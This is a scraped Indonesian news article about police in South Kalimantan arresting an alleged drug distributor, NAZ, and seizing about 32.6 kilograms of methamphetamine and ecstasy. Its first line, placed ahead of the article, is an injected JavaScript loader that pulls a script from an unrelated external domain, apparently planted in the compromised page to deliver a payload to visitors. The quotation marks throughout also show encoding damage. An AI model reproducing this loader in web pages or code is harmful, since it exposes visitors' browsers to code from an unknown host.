(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kendati berhasil diringkus aparat dari Dit Resnarkoba Polda Kalsel pada Sabtu (18/1/2020) kemarin, rupanya NAZ yang terindikasi sebagai ‘gudang’ utama narkoba di Kalsel sempat tiga kali lolos dari bidikan aparat kepolisian.
Pertama, pada kasus yang berhasil diungkap Polresta Banjarmasin bersama tim Dit Resnarkoba berhasil mengungkap narkoba sebanyak 12 kilogram dari Lampung pada 24 Desember 2018.
“Dengan tujuan untuk mengisi gudang saudara NAZ, yang sebelumnya sudah lolos 32 kilogram,†kata Direktur Resnarkoba Polda Kalsel Kombes Wisnu Widarto dalam gelar perkara di Mapolda Kalsel, Senin (20/1/2020) pagi.
Selanjutnya, saat Dit Renarkoba Polda Kalsel mengungkap tindak pidana narkoba seberat 2 kilogram dengan tersangka MER (kembar) pada 27 Desember 2018, barang bukti disuplai oleh NAZ. “Lagi-lagi saudara NAZ lolos,†tambahnya.
Terakhir, saat Dit Resnarkoba Polda Kalsel mengungkap tindak pidana narkoba jenis sabu-sabu seberat 1,5 kilogram dan ekstasi sebanyak 2.400 butir dengan tersangka RR pada 24 Januari 2019. “Tersangka RR dan kawan-kawan mengaku barang bukti tersebut berasal dari saudara NAZ, dengan kata lain saudara NAZ lolos,†lugasnya.
Ibarat pepatah “sepanda-i-pandainya tupai melompat, akhirnya jatuh jugaâ€Â, kendati sempat berhasil tiga kali lolos dari jeratan hukum, akhirnya NAZ berhasil diringkus oleh aparat Dit Resnarkoba Polda Kalsel pada Sabtu (18/1/2020) siang.
Berdasarkan informasi yang dihimpun Kanalkalimantan.com, tersangka NAZ diringkus saat tengah melakukan transaksi narkotika di Jalan Pembangunan I, Kelurahan Belitung Selatan. “Menindak lanjuti info tersebut, tim Opsnal Dit Resnarkoba melakukan penggeledahan terhadap terlapor dan ditemukan narkotika jenis sabu terbungkus kantong plastik ditangan terlapor,†kata Kombes Wisnu.
Selanjutnya dari hasil pengembangan, aparat bergeser ke rumah kontrakan NAZ di Jalan Rawasari VII Blok D nomor 4 Kelurahan Teluk Dalam. Dari hasil penggeledahan, aparat berhasil menemukan sabu dan ekstasi. Dari dua tempat kejadian perkara (TKP), ditemukan barang bukti sebanyak 32.615,48 gram.
“Narkotika tersebut dari keterangan terlapor diperoleh dari orang yg biasa dipanggil Amang Abul dengan komunikasi melalui medsos BBM,†lugas Kombes Wisnu.
Tersangka NAZ diduga menjadi jaringan peredaran narkoba skala internasional. Karena barang haram sendiri, diduga didistribusikan melalui jalur laut dengan rute Malaysia-Sumatera-Jawa Timur-Kalimantan. Di Kalimantan sendiri, peredarannya diduga mencakup wilayah Kalsel khususnya di Banua Anam, Kalteng hingga Kaltim.
Adapun rincian barang bukti yang berhasil diamankan aparat kepolisian yaitu; Sabu seberat 26,3 kilogram, pil sabu jenis yaba sebanyak 19.900 butir dengan berat 2,1 kilogram, kapsil ekstasi sebanyak 600 butir dengan berat 228 gram, pil ekstasi sebanya 9.143 butir dengan berat 3.482,33 gram dan serbuk ekstasi dengan berat bersih 505 gram.
“Jumlah total barang bukti keseluruhan yaitu seberat 32,6 kilogram, atau 32.615,48 gram,†tukasnya. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.